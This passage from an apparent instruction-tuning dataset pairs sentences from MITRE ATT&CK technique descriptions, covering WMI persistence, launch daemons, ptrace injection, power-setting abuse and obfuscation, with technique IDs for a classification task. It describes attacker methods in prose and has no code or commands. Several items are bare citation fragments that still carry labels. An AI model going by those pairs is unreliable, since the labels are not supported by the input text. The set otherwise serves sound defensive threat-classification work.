cannot.(Citation: Rhino Security Labs AWS Privilege Escalation)(Citation: Rhingo Security Labs GCP Privilege Escalation)\n\nServerless functions can also be invoked in response to cloud events (i.e. [Event Triggered Execution](https://attack.mitre.org/techniques/T1546)), potentially enabling persistent execution over time. ### Response: T1648."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, in AWS environments, an adversary may create a Lambda function that automatically adds [Additional Cloud Credentials](https://attack.mitre.org/techniques/T1098/001) to a user and a corresponding CloudWatch events rule that invokes that function whenever a new user is created.(Citation: Backdooring an AWS account)", "output": "T1648", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, in AWS environments, an adversary may create a Lambda function that automatically adds [Additional Cloud Credentials](https://attack.mitre.org/techniques/T1098/001) to a user and a corresponding CloudWatch events rule that invokes that function whenever a new user is created.(Citation: Backdooring an AWS account) ### Response: T1648."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similarly, an adversary may create a Power Automate workflow in Office 365 environments that forwards all emails a user receives or creates anonymous sharing links whenever a user is granted access to a document in SharePoint.(Citation: Varonis Power Automate Data Exfiltration)(Citation:", "output": "T1648", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similarly, an adversary may create a Power Automate workflow in Office 365 environments that forwards all emails a user receives or creates anonymous sharing links whenever a user is granted access to a document in SharePoint.(Citation: Varonis Power Automate Data Exfiltration)(Citation: ### Response: T1648."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft DART Case Report 001)", "output": "T1648", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft DART Case Report 001) ### Response: T1648."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Windows Management Instrumentation (WMI) can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs.", "output": "T1084", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Windows Management Instrumentation (WMI) can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. ### Response: T1084."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system.", "output": "T1084", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system. ### Response: T1084."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to evade detection of this technique by compiling WMI scripts into Windows Management Object (MOF) files (.mof extension).", "output": "T1084", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to evade detection of this technique by compiling WMI scripts into Windows Management Object (MOF) files (.mof extension). ### Response: T1084."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Dell WMI Persistence) Examples of events that may be subscribed to are the wall clock time or the computer's uptime.", "output": "T1084", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Dell WMI Persistence) Examples of events that may be subscribed to are the wall clock time or the computer's uptime. ### Response: T1084."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Kazanciyan 2014)", "output": "T1084", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Kazanciyan 2014) ### Response: T1084."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Several threat groups have reportedly used this technique to maintain persistence.", "output": "T1084", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Several threat groups have reportedly used this technique to maintain persistence. ### Response: T1084."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Mandiant M-Trends 2015)", "output": "T1084", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Mandiant M-Trends 2015) ### Response: T1084."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Per Apple\u2019s developer documentation, when macOS and OS X boot up, launchd is run to finish system initialization.", "output": "T1160", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Per Apple\u2019s developer documentation, when macOS and OS X boot up, launchd is run to finish system initialization. ### Response: T1160."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in <code>/System/Library/LaunchDaemons</code> and <code>/Library/LaunchDaemons</code> (Citation: AppleDocs Launch Agent Daemons).", "output": "T1160", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in <code>/System/Library/LaunchDaemons</code> and <code>/Library/LaunchDaemons</code> (Citation: AppleDocs Launch Agent Daemons). ### Response: T1160."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).", "output": "T1160", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence). ### Response: T1160."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may install a new launch daemon that can be configured to execute at startup by using launchd or launchctl to load a plist into the appropriate directories (Citation: OSX Malware Detection).", "output": "T1160", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may install a new launch daemon that can be configured to execute at startup by using launchd or launchctl to load a plist into the appropriate directories (Citation: OSX Malware Detection). ### Response: T1160."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The daemon name may be disguised by using a name from a related operating system or benign software  (Citation: WireLurker).", "output": "T1160", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The daemon name may be disguised by using a name from a related operating system or benign software  (Citation: WireLurker). ### Response: T1160."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Launch Daemons may be created with administrator privileges, but are executed under root privileges, so an adversary may also use a service to escalate privileges from administrator to root.", "output": "T1160", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Launch Daemons may be created with administrator privileges, but are executed under root privileges, so an adversary may also use a service to escalate privileges from administrator to root. ### Response: T1160."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The plist file permissions must be root:wheel, but the script or program that it points to has no such requirement.", "output": "T1160", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The plist file permissions must be root:wheel, but the script or program that it points to has no such requirement. ### Response: T1160."}{"instruction": "List the MITRE techniques contained in the text.", "input": "So, it is possible for poor configurations to allow an adversary to modify a current Launch Daemon\u2019s executable and gain persistence or Privilege Escalation.", "output": "T1160", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: So, it is possible for poor configurations to allow an adversary to modify a current Launch Daemon\u2019s executable and gain persistence or Privilege Escalation. ### Response: T1160."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges.", "output": "T1055", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. ### Response: T1055."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Process injection is a method of executing arbitrary code in the address space of a separate live process.", "output": "T1055", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Process injection is a method of executing arbitrary code in the address space of a separate live process. ### Response: T1055."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges.", "output": "T1055", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. ### Response: T1055."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.", "output": "T1055", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process. ### Response: T1055."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are many different ways to inject code into a process, many of which abuse legitimate functionalities.", "output": "T1055", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are many different ways to inject code into a process, many of which abuse legitimate functionalities. ### Response: T1055."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These implementations exist for every major OS but are typically platform specific.", "output": "T1055", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These implementations exist for every major OS but are typically platform specific. ### Response: T1055."}{"instruction": "List the MITRE techniques contained in the text.", "input": "More sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel.", "output": "T1055", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: More sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel. ### Response: T1055."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may inject malicious code into processes via ptrace (process trace) system calls in order to evade process-based defenses as well as possibly elevate privileges.", "output": "T1055.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may inject malicious code into processes via ptrace (process trace) system calls in order to evade process-based defenses as well as possibly elevate privileges. ### Response: T1055.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Ptrace system call injection is a method of executing arbitrary code in the address space of a separate live process.", "output": "T1055.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Ptrace system call injection is a method of executing arbitrary code in the address space of a separate live process. ### Response: T1055.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Ptrace system call injection involves attaching to and modifying a running process.", "output": "T1055.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Ptrace system call injection involves attaching to and modifying a running process. ### Response: T1055.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The ptrace system call enables a debugging process to observe and control another process (and each individual thread), including changing memory and register values.(Citation: PTRACE man) Ptrace system call injection is commonly performed by writing arbitrary code into a running process (ex: <code>malloc</code>) then invoking that memory with <code>PTRACE_SETREGS</code> to set the register containing the next instruction to execute.", "output": "T1055.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The ptrace system call enables a debugging process to observe and control another process (and each individual thread), including changing memory and register values.(Citation: PTRACE man) Ptrace system call injection is commonly performed by writing arbitrary code into a running process (ex: <code>malloc</code>) then invoking that memory with <code>PTRACE_SETREGS</code> to set the register containing the next instruction to execute. ### Response: T1055.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Ptrace system call injection can also be done with <code>PTRACE_POKETEXT</code>/<code>PTRACE_POKEDATA</code>, which copy data to a specific address in the target processes\u2019 memory (ex: the current address of the next instruction).", "output": "T1055.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Ptrace system call injection can also be done with <code>PTRACE_POKETEXT</code>/<code>PTRACE_POKEDATA</code>, which copy data to a specific address in the target processes\u2019 memory (ex: the current address of the next instruction). ### Response: T1055.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: PTRACE man)(Citation: Medium Ptrace JUL 2018)", "output": "T1055.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: PTRACE man)(Citation: Medium Ptrace JUL 2018) ### Response: T1055.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Ptrace system call injection may not be possible targeting processes that are non-child processes and/or have higher-privileges.(Citation: BH Linux Inject)", "output": "T1055.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Ptrace system call injection may not be possible targeting processes that are non-child processes and/or have higher-privileges.(Citation: BH Linux Inject) ### Response: T1055.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges.", "output": "T1055.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. ### Response: T1055.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Execution via ptrace system call injection may also evade detection from security products since the execution is masked under a legitimate process.", "output": "T1055.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Execution via ptrace system call injection may also evade detection from security products since the execution is masked under a legitimate process. ### Response: T1055.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may impair a system's ability to hibernate, reboot, or shut down in order to extend access to infected machines.", "output": "T1653", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may impair a system's ability to hibernate, reboot, or shut down in order to extend access to infected machines. ### Response: T1653."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When a computer enters a dormant state, some or all software and hardware may cease to operate which can disrupt malicious activity.(Citation: Sleep, shut down, hibernate)", "output": "T1653", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When a computer enters a dormant state, some or all software and hardware may cease to operate which can disrupt malicious activity.(Citation: Sleep, shut down, hibernate) ### Response: T1653."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse system utilities and configuration settings to maintain access by preventing machines from entering a state, such as standby, that can terminate malicious activity.(Citation: Microsoft: Powercfg command-line options)(Citation: systemdsleep Linux)", "output": "T1653", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse system utilities and configuration settings to maintain access by preventing machines from entering a state, such as standby, that can terminate malicious activity.(Citation: Microsoft: Powercfg command-line options)(Citation: systemdsleep Linux) ### Response: T1653."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, `powercfg` controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.(Citation: Two New Monero Malware Attacks Target Windows and Android Users)", "output": "T1653", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, `powercfg` controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.(Citation: Two New Monero Malware Attacks Target Windows and Android Users) ### Response: T1653."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also extend system lock screen timeout settings.(Citation: BATLOADER:", "output": "T1653", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also extend system lock screen timeout settings.(Citation: BATLOADER: ### Response: T1653."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The Evasive Downloader Malware)", "output": "T1653", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The Evasive Downloader Malware) ### Response: T1653."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Other relevant settings, such as disk and hibernate timeout, can be similarly abused to keep the infected machine running even if no user is active.(Citation: CoinLoader: A Sophisticated Malware Loader Campaign)", "output": "T1653", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Other relevant settings, such as disk and hibernate timeout, can be similarly abused to keep the infected machine running even if no user is active.(Citation: CoinLoader: A Sophisticated Malware Loader Campaign) ### Response: T1653."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Aware that some malware cannot survive system reboots, adversaries may entirely delete files used to invoke system shut down or reboot.(Citation: Condi-Botnet-binaries)", "output": "T1653", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Aware that some malware cannot survive system reboots, adversaries may entirely delete files used to invoke system shut down or reboot.(Citation: Condi-Botnet-binaries) ### Response: T1653."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This is common behavior that can be used across different platforms and the network to evade defenses.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This is common behavior that can be used across different platforms and the network to evade defenses. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Payloads may be compressed, archived, or encrypted in order to avoid detection.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Payloads may be compressed, archived, or encrypted in order to avoid detection. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These payloads may be used during Initial Access or later to mitigate detection.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These payloads may be used during Initial Access or later to mitigate detection. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Sometimes a user's action may be required to open and [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) for [User Execution](https://attack.mitre.org/techniques/T1204).", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Sometimes a user's action may be required to open and [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) for [User Execution](https://attack.mitre.org/techniques/T1204). ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Volexity PowerDuke November 2016)", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Volexity PowerDuke November 2016) ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also use compressed or archived scripts, such as JavaScript.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also use compressed or archived scripts, such as JavaScript. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Portions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Portions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Linux/Cdorked.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Linux/Cdorked. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A We Live Security Analysis)", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A We Live Security Analysis) ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Carbon Black Obfuscation Sept 2016)", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Carbon Black Obfuscation Sept 2016) ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also abuse [Command Obfuscation](https://attack.mitre.org/techniques/T1027/010) to obscure commands executed from payloads or directly via [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also abuse [Command Obfuscation](https://attack.mitre.org/techniques/T1027/010) to obscure commands executed from payloads or directly via [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and application control mechanisms.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and application control mechanisms. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: FireEye Obfuscation June 2017)", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: FireEye Obfuscation June 2017) ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: FireEye Revoke-Obfuscation July 2017)(Citation: PaloAlto EncodedCommand March 2017)", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: FireEye Revoke-Obfuscation July 2017)(Citation: PaloAlto EncodedCommand March 2017) ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may obfuscate then dynamically resolve API functions called by their malware in order to conceal malicious functionalities and impair defensive analysis.", "output": "T1027.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may obfuscate then dynamically resolve API functions called by their malware in order to conceal malicious functionalities and impair defensive analysis. ### Response: T1027.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Malware commonly uses various [Native API](https://attack.mitre.org/techniques/T1106) functions provided by the OS to perform various tasks such as those involving processes, files, and other system artifacts.", "output": "T1027.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Malware commonly uses various [Native API](https://attack.mitre.org/techniques/T1106) functions provided by the OS to perform various tasks such as those involving processes, files, and other system artifacts. ### Response: T1027.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "API functions called by malware may leave static artifacts such as strings in payload files.", "output": "T1027.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: API functions called by malware may leave static artifacts such as strings in payload files. ### Response: T1027.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Defensive analysts may also uncover which functions a binary file may execute via an import address table (IAT) or other structures that help dynamically link calling code to the shared modules that provide functions.(Citation: Huntress API Hash)(Citation: IRED API Hashing)\n\nTo avoid static or other defensive analysis, adversaries may use dynamic API resolution to conceal malware characteristics and functionalities.", "output": "T1027.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Defensive analysts may also uncover which functions a binary file may execute via an import address table (IAT) or other structures that help dynamically link calling code to the shared modules that provide functions.(Citation: Huntress API Hash)(Citation: IRED API Hashing)\n\nTo avoid static or other defensive analysis, adversaries may use dynamic API resolution to conceal malware characteristics and functionalities. ### Response: T1027.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similar to [Software Packing](https://attack.mitre.org/techniques/T1027/002), dynamic API resolution may change file signatures and obfuscate malicious API function calls until they are resolved and invoked during runtime.", "output": "T1027.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similar to [Software Packing](https://attack.mitre.org/techniques/T1027/002), dynamic API resolution may change file signatures and obfuscate malicious API function calls until they are resolved and invoked during runtime. ### Response: T1027.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Various methods may be used to obfuscate malware calls to API functions.", "output": "T1027.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Various methods may be used to obfuscate malware calls to API functions. ### Response: T1027.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, hashes of function names are commonly stored in malware in lieu of literal strings.", "output": "T1027.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, hashes of function names are commonly stored in malware in lieu of literal strings. ### Response: T1027.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Malware can use these hashes (or other identifiers) to manually reproduce the linking and loading process using functions such as `GetProcAddress()` and `LoadLibrary()`.", "output": "T1027.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Malware can use these hashes (or other identifiers) to manually reproduce the linking and loading process using functions such as `GetProcAddress()` and `LoadLibrary()`. ### Response: T1027.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These hashes/identifiers can also be further obfuscated using encryption or other string manipulation tricks (requiring various forms of [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) during execution).(Citation:", "output": "T1027.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These hashes/identifiers can also be further obfuscated using encryption or other string manipulation tricks (requiring various forms of [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) during execution).(Citation: ### Response: T1027.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "BlackHat API Packers)(Citation: Drakonia HInvoke)(Citation: Huntress API Hash)", "output": "T1027.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: BlackHat API Packers)(Citation: Drakonia HInvoke)(Citation: Huntress API Hash) ### Response: T1027.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a service that accepts remote connections, such as telnet, SSH, and VNC.", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a service that accepts remote connections, such as telnet, SSH, and VNC. ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The adversary may then perform actions as the logged-on user.", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the 